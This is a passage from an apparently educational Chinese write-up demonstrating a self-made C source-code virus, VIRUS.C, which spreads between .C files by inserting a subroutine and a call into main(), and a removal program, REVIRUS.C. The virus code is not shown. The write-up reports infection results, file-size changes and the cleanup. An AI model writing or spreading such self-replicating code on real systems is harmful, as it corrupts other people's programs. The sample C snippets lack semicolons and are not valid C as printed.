printf("sum=%d\n",sum)
}
TEST2.C
#include "stdio.h"
main()
{
printf("hello,world!\n")
}
在命令提示符下键入dir命令查看文件信息。
然后编译连接并执行VIRUS.C文件,运行结果显示:
Today is 5/20/2004
Successful
说明传染成功。再用dir命令查看文件信息
可以看到TEST2.C文件已经被传染,大小从64变成3949。用type命令查看TEST1的内容
可以看到病毒的子程序已经插入了,而且在主函数里面插入了调用VIRUSES函数语句。而且文件名自动改为“TEST2.C”。(如图中红线所示)
然后再把TEST2.C文件编译连接并运行。成功后,再用dir命令查看文件信息
可以看到TEST1.C也被感染了,大小从107变成了3969。再用type命令查看,结果如下:
可以看到,文件名称已经自动改为TEST1.C,而且病毒子程序已经拷贝过来,在这个过程中REVIRUS.C始终没有被感染,达到了我们的目的。
文件被感染前后内容如下图所示:
4.2病毒清除程序REVIRUS.C演示过程
然后我们来演示病毒的清除。编译运行REVIRUS.C后用dir命令查看文件信息。
图中可以看到TEST1.C和TEST2.C都变小了。虽然没有还原到以前的大小。这是因为运行病毒子程序需要的头文件没有删除,原因前面已经提及过了。然后用type命令分别查看一下TEST1.C和TEST2.C的内容。
图中可以看到,除了程序需要用到的头文件,剩下的已经基本还原。而且没有清除VIRUS.C里面的程序,基本达到了清除病毒的目的。演示成功。
从演示过程中可以看出,一旦程序被病毒感染,这个程序经过编译连接后运行时就能向没感染上病毒的程序扩散病毒,使病毒在系统中不断蔓延下去。而病毒清除程序运行一次就可以删除掉所有的病毒子程序和插入的调用语句。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)